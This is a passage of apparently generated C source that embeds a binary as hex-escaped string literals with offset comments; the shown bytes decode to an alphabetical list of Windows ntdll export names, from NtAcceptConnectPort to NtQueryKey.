"\x6C\x73\x4D\x62\x43\x6F\x64\x65\x50\x61\x67\x65\x54\x61\x67\x00" //lsMbCodePageTag. /* 0074A0 */ "\x4E\x6C\x73\x4D\x62\x4F\x65\x6D\x43\x6F\x64\x65\x50\x61\x67\x65" //NlsMbOemCodePage /* 0074C0 */ "\x54\x61\x67\x00\x4E\x74\x41\x63\x63\x65\x70\x74\x43\x6F\x6E\x6E" //Tag.NtAcceptConn /* 0074E0 */ "\x65\x63\x74\x50\x6F\x72\x74\x00\x4E\x74\x41\x63\x63\x65\x73\x73" //ectPort.NtAccess /* 007500 */ "\x43\x68\x65\x63\x6B\x00\x4E\x74\x41\x63\x63\x65\x73\x73\x43\x68" //Check.NtAccessCh /* 007520 */ "\x65\x63\x6B\x41\x6E\x64\x41\x75\x64\x69\x74\x41\x6C\x61\x72\x6D" //eckAndAuditAlarm /* 007540 */ "\x00\x4E\x74\x41\x63\x63\x65\x73\x73\x43\x68\x65\x63\x6B\x42\x79" //.NtAccessCheckBy /* 007560 */ "\x54\x79\x70\x65\x00\x4E\x74\x41\x63\x63\x65\x73\x73\x43\x68\x65" //Type.NtAccessChe /* 007580 */ "\x63\x6B\x42\x79\x54\x79\x70\x65\x41\x6E\x64\x41\x75\x64\x69\x74" //ckByTypeAndAudit /* 0075A0 */ "\x41\x6C\x61\x72\x6D\x00\x4E\x74\x41\x63\x63\x65\x73\x73\x43\x68" //Alarm.NtAccessCh /* 0075C0 */ "\x65\x63\x6B\x42\x79\x54\x79\x70\x65\x52\x65\x73\x75\x6C\x74\x4C" //eckByTypeResultL /* 0075E0 */ "\x69\x73\x74\x00\x4E\x74\x41\x63\x63\x65\x73\x73\x43\x68\x65\x63" //ist.NtAccessChec /* 007600 */ "\x6B\x42\x79\x54\x79\x70\x65\x52\x65\x73\x75\x6C\x74\x4C\x69\x73" //kByTypeResultLis /* 007620 */ "\x74\x41\x6E\x64\x41\x75\x64\x69\x74\x41\x6C\x61\x72\x6D\x00\x4E" //tAndAuditAlarm.N /* 007640 */ "\x74\x41\x63\x63\x65\x73\x73\x43\x68\x65\x63\x6B\x42\x79\x54\x79" //tAccessCheckByTy /* 007660 */ "\x70\x65\x52\x65\x73\x75\x6C\x74\x4C\x69\x73\x74\x41\x6E\x64\x41" //peResultListAndA /* 007680 */ "\x75\x64\x69\x74\x41\x6C\x61\x72\x6D\x42\x79\x48\x61\x6E\x64\x6C" //uditAlarmByHandl /* 0076A0 */ "\x65\x00\x4E\x74\x41\x64\x64\x41\x74\x6F\x6D\x00\x4E\x74\x41\x64" //e.NtAddAtom.NtAd /* 0076C0 */ "\x64\x42\x6F\x6F\x74\x45\x6E\x74\x72\x79\x00\x4E\x74\x41\x64\x6A" //dBootEntry.NtAdj /* 0076E0 */ "\x75\x73\x74\x47\x72\x6F\x75\x70\x73\x54\x6F\x6B\x65\x6E\x00\x4E" //ustGroupsToken.N /* 007700 */ "\x74\x41\x64\x6A\x75\x73\x74\x50\x72\x69\x76\x69\x6C\x65\x67\x65" //tAdjustPrivilege /* 007720 */ "\x73\x54\x6F\x6B\x65\x6E\x00\x4E\x74\x41\x6C\x65\x72\x74\x52\x65" //sToken.NtAlertRe /* 007740 */ "\x73\x75\x6D\x65\x54\x68\x72\x65\x61\x64\x00\x4E\x74\x41\x6C\x65" //sumeThread.NtAle /* 007760 */ "\x72\x74\x54\x68\x72\x65\x61\x64\x00\x4E\x74\x41\x6C\x6C\x6F\x63" //rtThread.NtAlloc /* 007780 */ "\x61\x74\x65\x4C\x6F\x63\x61\x6C\x6C\x79\x55\x6E\x69\x71\x75\x65" //ateLocallyUnique /* 0077A0 */ "\x49\x64\x00\x4E\x74\x41\x6C\x6C\x6F\x63\x61\x74\x65\x55\x73\x65" //Id.NtAllocateUse /* 0077C0 */ "\x72\x50\x68\x79\x73\x69\x63\x61\x6C\x50\x61\x67\x65\x73\x00\x4E" //rPhysicalPages.N /* 0077E0 */ "\x74\x41\x6C\x6C\x6F\x63\x61\x74\x65\x55\x75\x69\x64\x73\x00\x4E" //tAllocateUuids.N /* 007800 */ "\x74\x41\x6C\x6C\x6F\x63\x61\x74\x65\x56\x69\x72\x74\x75\x61\x6C" //tAllocateVirtual /* 007820 */ "\x4D\x65\x6D\x6F\x72\x79\x00\x4E\x74\x41\x72\x65\x4D\x61\x70\x70" //Memory.NtAreMapp /* 007840 */ "\x65\x64\x46\x69\x6C\x65\x73\x54\x68\x65\x53\x61\x6D\x65\x00\x4E" //edFilesTheSame.N /* 007860 */ "\x74\x41\x73\x73\x69\x67\x6E\x50\x72\x6F\x63\x65\x73\x73\x54\x6F" //tAssignProcessTo /* 007880 */ "\x4A\x6F\x62\x4F\x62\x6A\x65\x63\x74\x00\x4E\x74\x43\x61\x6C\x6C" //JobObject.NtCall /* 0078A0 */ "\x62\x61\x63\x6B\x52\x65\x74\x75\x72\x6E\x00\x4E\x74\x43\x61\x6E" //backReturn.NtCan /* 0078C0 */ "\x63\x65\x6C\x44\x65\x76\x69\x63\x65\x57\x61\x6B\x65\x75\x70\x52" //celDeviceWakeupR /* 0078E0 */ "\x65\x71\x75\x65\x73\x74\x00\x4E\x74\x43\x61\x6E\x63\x65\x6C\x49" //equest.NtCancelI /* 007900 */ "\x6F\x46\x69\x6C\x65\x00\x4E\x74\x43\x61\x6E\x63\x65\x6C\x54\x69" //oFile.NtCancelTi /* 007920 */ "\x6D\x65\x72\x00\x4E\x74\x43\x6C\x65\x61\x72\x45\x76\x65\x6E\x74" //mer.NtClearEvent /* 007940 */ "\x00\x4E\x74\x43\x6C\x6F\x73\x65\x00\x4E\x74\x43\x6C\x6F\x73\x65" //.NtClose.NtClose /* 007960 */ "\x4F\x62\x6A\x65\x63\x74\x41\x75\x64\x69\x74\x41\x6C\x61\x72\x6D" //ObjectAuditAlarm /* 007980 */ "\x00\x4E\x74\x43\x6F\x6D\x70\x61\x63\x74\x4B\x65\x79\x73\x00\x4E" //.NtCompactKeys.N /* 0079A0 */ "\x74\x43\x6F\x6D\x70\x61\x72\x65\x54\x6F\x6B\x65\x6E\x73\x00\x4E" //tCompareTokens.N /* 0079C0 */ "\x74\x43\x6F\x6D\x70\x6C\x65\x74\x65\x43\x6F\x6E\x6E\x65\x63\x74" //tCompleteConnect /* 0079E0 */ "\x50\x6F\x72\x74\x00\x4E\x74\x43\x6F\x6D\x70\x72\x65\x73\x73\x4B" //Port.NtCompressK /* 007A00 */ "\x65\x79\x00\x4E\x74\x43\x6F\x6E\x6E\x65\x63\x74\x50\x6F\x72\x74" //ey.NtConnectPort /* 007A20 */ "\x00\x4E\x74\x43\x6F\x6E\x74\x69\x6E\x75\x65\x00\x4E\x74\x43\x72" //.NtContinue.NtCr /* 007A40 */ "\x65\x61\x74\x65\x44\x65\x62\x75\x67\x4F\x62\x6A\x65\x63\x74\x00" //eateDebugObject. /* 007A60 */ "\x4E\x74\x43\x72\x65\x61\x74\x65\x44\x69\x72\x65\x63\x74\x6F\x72" //NtCreateDirector /* 007A80 */ "\x79\x4F\x62\x6A\x65\x63\x74\x00\x4E\x74\x43\x72\x65\x61\x74\x65" //yObject.NtCreate /* 007AA0 */ "\x45\x76\x65\x6E\x74\x00\x4E\x74\x43\x72\x65\x61\x74\x65\x45\x76" //Event.NtCreateEv /* 007AC0 */ "\x65\x6E\x74\x50\x61\x69\x72\x00\x4E\x74\x43\x72\x65\x61\x74\x65" //entPair.NtCreate /* 007AE0 */ "\x46\x69\x6C\x65\x00\x4E\x74\x43\x72\x65\x61\x74\x65\x49\x6F\x43" //File.NtCreateIoC /* 007B00 */ "\x6F\x6D\x70\x6C\x65\x74\x69\x6F\x6E\x00\x4E\x74\x43\x72\x65\x61" //ompletion.NtCrea /* 007B20 */ "\x74\x65\x4A\x6F\x62\x4F\x62\x6A\x65\x63\x74\x00\x4E\x74\x43\x72" //teJobObject.NtCr /* 007B40 */ "\x65\x61\x74\x65\x4A\x6F\x62\x53\x65\x74\x00\x4E\x74\x43\x72\x65" //eateJobSet.NtCre /* 007B60 */ "\x61\x74\x65\x4B\x65\x79\x00\x4E\x74\x43\x72\x65\x61\x74\x65\x4B" //ateKey.NtCreateK /* 007B80 */ "\x65\x79\x65\x64\x45\x76\x65\x6E\x74\x00\x4E\x74\x43\x72\x65\x61" //eyedEvent.NtCrea /* 007BA0 */ "\x74\x65\x4D\x61\x69\x6C\x73\x6C\x6F\x74\x46\x69\x6C\x65\x00\x4E" //teMailslotFile.N /* 007BC0 */ "\x74\x43\x72\x65\x61\x74\x65\x4D\x75\x74\x61\x6E\x74\x00\x4E\x74" //tCreateMutant.Nt /* 007BE0 */ "\x43\x72\x65\x61\x74\x65\x4E\x61\x6D\x65\x64\x50\x69\x70\x65\x46" //CreateNamedPipeF /* 007C00 */ "\x69\x6C\x65\x00\x4E\x74\x43\x72\x65\x61\x74\x65\x50\x61\x67\x69" //ile.NtCreatePagi /* 007C20 */ "\x6E\x67\x46\x69\x6C\x65\x00\x4E\x74\x43\x72\x65\x61\x74\x65\x50" //ngFile.NtCreateP /* 007C40 */ "\x6F\x72\x74\x00\x4E\x74\x43\x72\x65\x61\x74\x65\x50\x72\x6F\x63" //ort.NtCreateProc /* 007C60 */ "\x65\x73\x73\x00\x4E\x74\x43\x72\x65\x61\x74\x65\x50\x72\x6F\x63" //ess.NtCreateProc /* 007C80 */ "\x65\x73\x73\x45\x78\x00\x4E\x74\x43\x72\x65\x61\x74\x65\x50\x72" //essEx.NtCreatePr /* 007CA0 */ "\x6F\x66\x69\x6C\x65\x00\x4E\x74\x43\x72\x65\x61\x74\x65\x53\x65" //ofile.NtCreateSe /* 007CC0 */ "\x63\x74\x69\x6F\x6E\x00\x4E\x74\x43\x72\x65\x61\x74\x65\x53\x65" //ction.NtCreateSe /* 007CE0 */ "\x6D\x61\x70\x68\x6F\x72\x65\x00\x4E\x74\x43\x72\x65\x61\x74\x65" //maphore.NtCreate /* 007D00 */ "\x53\x79\x6D\x62\x6F\x6C\x69\x63\x4C\x69\x6E\x6B\x4F\x62\x6A\x65" //SymbolicLinkObje /* 007D20 */ "\x63\x74\x00\x4E\x74\x43\x72\x65\x61\x74\x65\x54\x68\x72\x65\x61" //ct.NtCreateThrea /* 007D40 */ "\x64\x00\x4E\x74\x43\x72\x65\x61\x74\x65\x54\x69\x6D\x65\x72\x00" //d.NtCreateTimer. /* 007D60 */ "\x4E\x74\x43\x72\x65\x61\x74\x65\x54\x6F\x6B\x65\x6E\x00\x4E\x74" //NtCreateToken.Nt /* 007D80 */ "\x43\x72\x65\x61\x74\x65\x57\x61\x69\x74\x61\x62\x6C\x65\x50\x6F" //CreateWaitablePo /* 007DA0 */ "\x72\x74\x00\x4E\x74\x43\x75\x72\x72\x65\x6E\x74\x54\x65\x62\x00" //rt.NtCurrentTeb. /* 007DC0 */ "\x4E\x74\x44\x65\x62\x75\x67\x41\x63\x74\x69\x76\x65\x50\x72\x6F" //NtDebugActivePro /* 007DE0 */ "\x63\x65\x73\x73\x00\x4E\x74\x44\x65\x62\x75\x67\x43\x6F\x6E\x74" //cess.NtDebugCont /* 007E00 */ "\x69\x6E\x75\x65\x00\x4E\x74\x44\x65\x6C\x61\x79\x45\x78\x65\x63" //inue.NtDelayExec /* 007E20 */ "\x75\x74\x69\x6F\x6E\x00\x4E\x74\x44\x65\x6C\x65\x74\x65\x41\x74" //ution.NtDeleteAt /* 007E40 */ "\x6F\x6D\x00\x4E\x74\x44\x65\x6C\x65\x74\x65\x42\x6F\x6F\x74\x45" //om.NtDeleteBootE /* 007E60 */ "\x6E\x74\x72\x79\x00\x4E\x74\x44\x65\x6C\x65\x74\x65\x46\x69\x6C" //ntry.NtDeleteFil /* 007E80 */ "\x65\x00\x4E\x74\x44\x65\x6C\x65\x74\x65\x4B\x65\x79\x00\x4E\x74" //e.NtDeleteKey.Nt /* 007EA0 */ "\x44\x65\x6C\x65\x74\x65\x4F\x62\x6A\x65\x63\x74\x41\x75\x64\x69" //DeleteObjectAudi /* 007EC0 */ "\x74\x41\x6C\x61\x72\x6D\x00\x4E\x74\x44\x65\x6C\x65\x74\x65\x56" //tAlarm.NtDeleteV /* 007EE0 */ "\x61\x6C\x75\x65\x4B\x65\x79\x00\x4E\x74\x44\x65\x76\x69\x63\x65" //alueKey.NtDevice /* 007F00 */ "\x49\x6F\x43\x6F\x6E\x74\x72\x6F\x6C\x46\x69\x6C\x65\x00\x4E\x74" //IoControlFile.Nt /* 007F20 */ "\x44\x69\x73\x70\x6C\x61\x79\x53\x74\x72\x69\x6E\x67\x00\x4E\x74" //DisplayString.Nt /* 007F40 */ "\x44\x75\x70\x6C\x69\x63\x61\x74\x65\x4F\x62\x6A\x65\x63\x74\x00" //DuplicateObject. /* 007F60 */ "\x4E\x74\x44\x75\x70\x6C\x69\x63\x61\x74\x65\x54\x6F\x6B\x65\x6E" //NtDuplicateToken /* 007F80 */ "\x00\x4E\x74\x45\x6E\x75\x6D\x65\x72\x61\x74\x65\x42\x6F\x6F\x74" //.NtEnumerateBoot /* 007FA0 */ "\x45\x6E\x74\x72\x69\x65\x73\x00\x4E\x74\x45\x6E\x75\x6D\x65\x72" //Entries.NtEnumer /* 007FC0 */ "\x61\x74\x65\x4B\x65\x79\x00\x4E\x74\x45\x6E\x75\x6D\x65\x72\x61" //ateKey.NtEnumera /* 007FE0 */ "\x74\x65\x53\x79\x73\x74\x65\x6D\x45\x6E\x76\x69\x72\x6F\x6E\x6D" //teSystemEnvironm /* 008000 */ "\x65\x6E\x74\x56\x61\x6C\x75\x65\x73\x45\x78\x00\x4E\x74\x45\x6E" //entValuesEx.NtEn /* 008020 */ "\x75\x6D\x65\x72\x61\x74\x65\x56\x61\x6C\x75\x65\x4B\x65\x79\x00" //umerateValueKey. /* 008040 */ "\x4E\x74\x45\x78\x74\x65\x6E\x64\x53\x65\x63\x74\x69\x6F\x6E\x00" //NtExtendSection. /* 008060 */ "\x4E\x74\x46\x69\x6C\x74\x65\x72\x54\x6F\x6B\x65\x6E\x00\x4E\x74" //NtFilterToken.Nt /* 008080 */ "\x46\x69\x6E\x64\x41\x74\x6F\x6D\x00\x4E\x74\x46\x6C\x75\x73\x68" //FindAtom.NtFlush /* 0080A0 */ "\x42\x75\x66\x66\x65\x72\x73\x46\x69\x6C\x65\x00\x4E\x74\x46\x6C" //BuffersFile.NtFl /* 0080C0 */ "\x75\x73\x68\x49\x6E\x73\x74\x72\x75\x63\x74\x69\x6F\x6E\x43\x61" //ushInstructionCa /* 0080E0 */ "\x63\x68\x65\x00\x4E\x74\x46\x6C\x75\x73\x68\x4B\x65\x79\x00\x4E" //che.NtFlushKey.N /* 008100 */ "\x74\x46\x6C\x75\x73\x68\x56\x69\x72\x74\x75\x61\x6C\x4D\x65\x6D" //tFlushVirtualMem /* 008120 */ "\x6F\x72\x79\x00\x4E\x74\x46\x6C\x75\x73\x68\x57\x72\x69\x74\x65" //ory.NtFlushWrite /* 008140 */ "\x42\x75\x66\x66\x65\x72\x00\x4E\x74\x46\x72\x65\x65\x55\x73\x65" //Buffer.NtFreeUse /* 008160 */ "\x72\x50\x68\x79\x73\x69\x63\x61\x6C\x50\x61\x67\x65\x73\x00\x4E" //rPhysicalPages.N /* 008180 */ "\x74\x46\x72\x65\x65\x56\x69\x72\x74\x75\x61\x6C\x4D\x65\x6D\x6F" //tFreeVirtualMemo /* 0081A0 */ "\x72\x79\x00\x4E\x74\x46\x73\x43\x6F\x6E\x74\x72\x6F\x6C\x46\x69" //ry.NtFsControlFi /* 0081C0 */ "\x6C\x65\x00\x4E\x74\x47\x65\x74\x43\x6F\x6E\x74\x65\x78\x74\x54" //le.NtGetContextT /* 0081E0 */ "\x68\x72\x65\x61\x64\x00\x4E\x74\x47\x65\x74\x44\x65\x76\x69\x63" //hread.NtGetDevic /* 008200 */ "\x65\x50\x6F\x77\x65\x72\x53\x74\x61\x74\x65\x00\x4E\x74\x47\x65" //ePowerState.NtGe /* 008220 */ "\x74\x50\x6C\x75\x67\x50\x6C\x61\x79\x45\x76\x65\x6E\x74\x00\x4E" //tPlugPlayEvent.N /* 008240 */ "\x74\x47\x65\x74\x57\x72\x69\x74\x65\x57\x61\x74\x63\x68\x00\x4E" //tGetWriteWatch.N /* 008260 */ "\x74\x49\x6D\x70\x65\x72\x73\x6F\x6E\x61\x74\x65\x41\x6E\x6F\x6E" //tImpersonateAnon /* 008280 */ "\x79\x6D\x6F\x75\x73\x54\x6F\x6B\x65\x6E\x00\x4E\x74\x49\x6D\x70" //ymousToken.NtImp /* 0082A0 */ "\x65\x72\x73\x6F\x6E\x61\x74\x65\x43\x6C\x69\x65\x6E\x74\x4F\x66" //ersonateClientOf /* 0082C0 */ "\x50\x6F\x72\x74\x00\x4E\x74\x49\x6D\x70\x65\x72\x73\x6F\x6E\x61" //Port.NtImpersona /* 0082E0 */ "\x74\x65\x54\x68\x72\x65\x61\x64\x00\x4E\x74\x49\x6E\x69\x74\x69" //teThread.NtIniti /* 008300 */ "\x61\x6C\x69\x7A\x65\x52\x65\x67\x69\x73\x74\x72\x79\x00\x4E\x74" //alizeRegistry.Nt /* 008320 */ "\x49\x6E\x69\x74\x69\x61\x74\x65\x50\x6F\x77\x65\x72\x41\x63\x74" //InitiatePowerAct /* 008340 */ "\x69\x6F\x6E\x00\x4E\x74\x49\x73\x50\x72\x6F\x63\x65\x73\x73\x49" //ion.NtIsProcessI /* 008360 */ "\x6E\x4A\x6F\x62\x00\x4E\x74\x49\x73\x53\x79\x73\x74\x65\x6D\x52" //nJob.NtIsSystemR /* 008380 */ "\x65\x73\x75\x6D\x65\x41\x75\x74\x6F\x6D\x61\x74\x69\x63\x00\x4E" //esumeAutomatic.N /* 0083A0 */ "\x74\x4C\x69\x73\x74\x65\x6E\x50\x6F\x72\x74\x00\x4E\x74\x4C\x6F" //tListenPort.NtLo /* 0083C0 */ "\x61\x64\x44\x72\x69\x76\x65\x72\x00\x4E\x74\x4C\x6F\x61\x64\x4B" //adDriver.NtLoadK /* 0083E0 */ "\x65\x79\x00\x4E\x74\x4C\x6F\x61\x64\x4B\x65\x79\x32\x00\x4E\x74" //ey.NtLoadKey2.Nt /* 008400 */ "\x4C\x6F\x63\x6B\x46\x69\x6C\x65\x00\x4E\x74\x4C\x6F\x63\x6B\x50" //LockFile.NtLockP /* 008420 */ "\x72\x6F\x64\x75\x63\x74\x41\x63\x74\x69\x76\x61\x74\x69\x6F\x6E" //roductActivation /* 008440 */ "\x4B\x65\x79\x73\x00\x4E\x74\x4C\x6F\x63\x6B\x52\x65\x67\x69\x73" //Keys.NtLockRegis /* 008460 */ "\x74\x72\x79\x4B\x65\x79\x00\x4E\x74\x4C\x6F\x63\x6B\x56\x69\x72" //tryKey.NtLockVir /* 008480 */ "\x74\x75\x61\x6C\x4D\x65\x6D\x6F\x72\x79\x00\x4E\x74\x4D\x61\x6B" //tualMemory.NtMak /* 0084A0 */ "\x65\x50\x65\x72\x6D\x61\x6E\x65\x6E\x74\x4F\x62\x6A\x65\x63\x74" //ePermanentObject /* 0084C0 */ "\x00\x4E\x74\x4D\x61\x6B\x65\x54\x65\x6D\x70\x6F\x72\x61\x72\x79" //.NtMakeTemporary /* 0084E0 */ "\x4F\x62\x6A\x65\x63\x74\x00\x4E\x74\x4D\x61\x70\x55\x73\x65\x72" //Object.NtMapUser /* 008500 */ "\x50\x68\x79\x73\x69\x63\x61\x6C\x50\x61\x67\x65\x73\x00\x4E\x74" //PhysicalPages.Nt /* 008520 */ "\x4D\x61\x70\x55\x73\x65\x72\x50\x68\x79\x73\x69\x63\x61\x6C\x50" //MapUserPhysicalP /* 008540 */ "\x61\x67\x65\x73\x53\x63\x61\x74\x74\x65\x72\x00\x4E\x74\x4D\x61" //agesScatter.NtMa /* 008560 */ "\x70\x56\x69\x65\x77\x4F\x66\x53\x65\x63\x74\x69\x6F\x6E\x00\x4E" //pViewOfSection.N /* 008580 */ "\x74\x4D\x6F\x64\x69\x66\x79\x42\x6F\x6F\x74\x45\x6E\x74\x72\x79" //tModifyBootEntry /* 0085A0 */ "\x00\x4E\x74\x4E\x6F\x74\x69\x66\x79\x43\x68\x61\x6E\x67\x65\x44" //.NtNotifyChangeD /* 0085C0 */ "\x69\x72\x65\x63\x74\x6F\x72\x79\x46\x69\x6C\x65\x00\x4E\x74\x4E" //irectoryFile.NtN /* 0085E0 */ "\x6F\x74\x69\x66\x79\x43\x68\x61\x6E\x67\x65\x4B\x65\x79\x00\x4E" //otifyChangeKey.N /* 008600 */ "\x74\x4E\x6F\x74\x69\x66\x79\x43\x68\x61\x6E\x67\x65\x4D\x75\x6C" //tNotifyChangeMul /* 008620 */ "\x74\x69\x70\x6C\x65\x4B\x65\x79\x73\x00\x4E\x74\x4F\x70\x65\x6E" //tipleKeys.NtOpen /* 008640 */ "\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x4F\x62\x6A\x65\x63\x74\x00" //DirectoryObject. /* 008660 */ "\x4E\x74\x4F\x70\x65\x6E\x45\x76\x65\x6E\x74\x00\x4E\x74\x4F\x70" //NtOpenEvent.NtOp /* 008680 */ "\x65\x6E\x45\x76\x65\x6E\x74\x50\x61\x69\x72\x00\x4E\x74\x4F\x70" //enEventPair.NtOp /* 0086A0 */ "\x65\x6E\x46\x69\x6C\x65\x00\x4E\x74\x4F\x70\x65\x6E\x49\x6F\x43" //enFile.NtOpenIoC /* 0086C0 */ "\x6F\x6D\x70\x6C\x65\x74\x69\x6F\x6E\x00\x4E\x74\x4F\x70\x65\x6E" //ompletion.NtOpen /* 0086E0 */ "\x4A\x6F\x62\x4F\x62\x6A\x65\x63\x74\x00\x4E\x74\x4F\x70\x65\x6E" //JobObject.NtOpen /* 008700 */ "\x4B\x65\x79\x00\x4E\x74\x4F\x70\x65\x6E\x4B\x65\x79\x65\x64\x45" //Key.NtOpenKeyedE /* 008720 */ "\x76\x65\x6E\x74\x00\x4E\x74\x4F\x70\x65\x6E\x4D\x75\x74\x61\x6E" //vent.NtOpenMutan /* 008740 */ "\x74\x00\x4E\x74\x4F\x70\x65\x6E\x4F\x62\x6A\x65\x63\x74\x41\x75" //t.NtOpenObjectAu /* 008760 */ "\x64\x69\x74\x41\x6C\x61\x72\x6D\x00\x4E\x74\x4F\x70\x65\x6E\x50" //ditAlarm.NtOpenP /* 008780 */ "\x72\x6F\x63\x65\x73\x73\x00\x4E\x74\x4F\x70\x65\x6E\x50\x72\x6F" //rocess.NtOpenPro /* 0087A0 */ "\x63\x65\x73\x73\x54\x6F\x6B\x65\x6E\x00\x4E\x74\x4F\x70\x65\x6E" //cessToken.NtOpen /* 0087C0 */ "\x50\x72\x6F\x63\x65\x73\x73\x54\x6F\x6B\x65\x6E\x45\x78\x00\x4E" //ProcessTokenEx.N /* 0087E0 */ "\x74\x4F\x70\x65\x6E\x53\x65\x63\x74\x69\x6F\x6E\x00\x4E\x74\x4F" //tOpenSection.NtO /* 008800 */ "\x70\x65\x6E\x53\x65\x6D\x61\x70\x68\x6F\x72\x65\x00\x4E\x74\x4F" //penSemaphore.NtO /* 008820 */ "\x70\x65\x6E\x53\x79\x6D\x62\x6F\x6C\x69\x63\x4C\x69\x6E\x6B\x4F" //penSymbolicLinkO /* 008840 */ "\x62\x6A\x65\x63\x74\x00\x4E\x74\x4F\x70\x65\x6E\x54\x68\x72\x65" //bject.NtOpenThre /* 008860 */ "\x61\x64\x00\x4E\x74\x4F\x70\x65\x6E\x54\x68\x72\x65\x61\x64\x54" //ad.NtOpenThreadT /* 008880 */ "\x6F\x6B\x65\x6E\x00\x4E\x74\x4F\x70\x65\x6E\x54\x68\x72\x65\x61" //oken.NtOpenThrea /* 0088A0 */ "\x64\x54\x6F\x6B\x65\x6E\x45\x78\x00\x4E\x74\x4F\x70\x65\x6E\x54" //dTokenEx.NtOpenT /* 0088C0 */ "\x69\x6D\x65\x72\x00\x4E\x74\x50\x6C\x75\x67\x50\x6C\x61\x79\x43" //imer.NtPlugPlayC /* 0088E0 */ "\x6F\x6E\x74\x72\x6F\x6C\x00\x4E\x74\x50\x6F\x77\x65\x72\x49\x6E" //ontrol.NtPowerIn /* 008900 */ "\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x00\x4E\x74\x50\x72\x69\x76" //formation.NtPriv /* 008920 */ "\x69\x6C\x65\x67\x65\x43\x68\x65\x63\x6B\x00\x4E\x74\x50\x72\x69" //ilegeCheck.NtPri /* 008940 */ "\x76\x69\x6C\x65\x67\x65\x4F\x62\x6A\x65\x63\x74\x41\x75\x64\x69" //vilegeObjectAudi /* 008960 */ "\x74\x41\x6C\x61\x72\x6D\x00\x4E\x74\x50\x72\x69\x76\x69\x6C\x65" //tAlarm.NtPrivile /* 008980 */ "\x67\x65\x64\x53\x65\x72\x76\x69\x63\x65\x41\x75\x64\x69\x74\x41" //gedServiceAuditA /* 0089A0 */ "\x6C\x61\x72\x6D\x00\x4E\x74\x50\x72\x6F\x74\x65\x63\x74\x56\x69" //larm.NtProtectVi /* 0089C0 */ "\x72\x74\x75\x61\x6C\x4D\x65\x6D\x6F\x72\x79\x00\x4E\x74\x50\x75" //rtualMemory.NtPu /* 0089E0 */ "\x6C\x73\x65\x45\x76\x65\x6E\x74\x00\x4E\x74\x51\x75\x65\x72\x79" //lseEvent.NtQuery /* 008A00 */ "\x41\x74\x74\x72\x69\x62\x75\x74\x65\x73\x46\x69\x6C\x65\x00\x4E" //AttributesFile.N /* 008A20 */ "\x74\x51\x75\x65\x72\x79\x42\x6F\x6F\x74\x45\x6E\x74\x72\x79\x4F" //tQueryBootEntryO /* 008A40 */ "\x72\x64\x65\x72\x00\x4E\x74\x51\x75\x65\x72\x79\x42\x6F\x6F\x74" //rder.NtQueryBoot /* 008A60 */ "\x4F\x70\x74\x69\x6F\x6E\x73\x00\x4E\x74\x51\x75\x65\x72\x79\x44" //Options.NtQueryD /* 008A80 */ "\x65\x62\x75\x67\x46\x69\x6C\x74\x65\x72\x53\x74\x61\x74\x65\x00" //ebugFilterState. /* 008AA0 */ "\x4E\x74\x51\x75\x65\x72\x79\x44\x65\x66\x61\x75\x6C\x74\x4C\x6F" //NtQueryDefaultLo /* 008AC0 */ "\x63\x61\x6C\x65\x00\x4E\x74\x51\x75\x65\x72\x79\x44\x65\x66\x61" //cale.NtQueryDefa /* 008AE0 */ "\x75\x6C\x74\x55\x49\x4C\x61\x6E\x67\x75\x61\x67\x65\x00\x4E\x74" //ultUILanguage.Nt /* 008B00 */ "\x51\x75\x65\x72\x79\x44\x69\x72\x65\x63\x74\x6F\x72\x79\x46\x69" //QueryDirectoryFi /* 008B20 */ "\x6C\x65\x00\x4E\x74\x51\x75\x65\x72\x79\x44\x69\x72\x65\x63\x74" //le.NtQueryDirect /* 008B40 */ "\x6F\x72\x79\x4F\x62\x6A\x65\x63\x74\x00\x4E\x74\x51\x75\x65\x72" //oryObject.NtQuer /* 008B60 */ "\x79\x45\x61\x46\x69\x6C\x65\x00\x4E\x74\x51\x75\x65\x72\x79\x45" //yEaFile.NtQueryE /* 008B80 */ "\x76\x65\x6E\x74\x00\x4E\x74\x51\x75\x65\x72\x79\x46\x75\x6C\x6C" //vent.NtQueryFull /* 008BA0 */ "\x41\x74\x74\x72\x69\x62\x75\x74\x65\x73\x46\x69\x6C\x65\x00\x4E" //AttributesFile.N /* 008BC0 */ "\x74\x51\x75\x65\x72\x79\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F" //tQueryInformatio /* 008BE0 */ "\x6E\x41\x74\x6F\x6D\x00\x4E\x74\x51\x75\x65\x72\x79\x49\x6E\x66" //nAtom.NtQueryInf /* 008C00 */ "\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x46\x69\x6C\x65\x00\x4E\x74\x51" //ormationFile.NtQ /* 008C20 */ "\x75\x65\x72\x79\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x4A" //ueryInformationJ /* 008C40 */ "\x6F\x62\x4F\x62\x6A\x65\x63\x74\x00\x4E\x74\x51\x75\x65\x72\x79" //obObject.NtQuery /* 008C60 */ "\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x50\x6F\x72\x74\x00" //InformationPort. /* 008C80 */ "\x4E\x74\x51\x75\x65\x72\x79\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69" //NtQueryInformati /* 008CA0 */ "\x6F\x6E\x50\x72\x6F\x63\x65\x73\x73\x00\x4E\x74\x51\x75\x65\x72" //onProcess.NtQuer /* 008CC0 */ "\x79\x49\x6E\x66\x6F\x72\x6D\x61\x74\x69\x6F\x6E\x54\x68\x72\x65" //yInformationThre /* 008CE0 */ "\x61\x64\x00\x4E\x74\x51\x75\x65\x72\x79\x49\x6E\x66\x6F\x72\x6D" //ad.NtQueryInform /* 008D00 */ "\x61\x74\x69\x6F\x6E\x54\x6F\x6B\x65\x6E\x00\x4E\x74\x51\x75\x65" //ationToken.NtQue /* 008D20 */ "\x72\x79\x49\x6E\x73\x74\x61\x6C\x6C\x55\x49\x4C\x61\x6E\x67\x75" //ryInstallUILangu /* 008D40 */ "\x61\x67\x65\x00\x4E\x74\x51\x75\x65\x72\x79\x49\x6E\x74\x65\x72" //age.NtQueryInter /* 008D60 */ "\x76\x61\x6C\x50\x72\x6F\x66\x69\x6C\x65\x00\x4E\x74\x51\x75\x65" //valProfile.NtQue /* 008D80 */ "\x72\x79\x49\x6F\x43\x6F\x6D\x70\x6C\x65\x74\x69\x6F\x6E\x00\x4E" //ryIoCompletion.N /* 008DA0 */ "\x74\x51\x75\x65\x72\x79\x4B\x65\x79\x00\x4E\x74\x51\x75\x65\x72" //tQueryKey.NtQuer /* 008DC0 */ 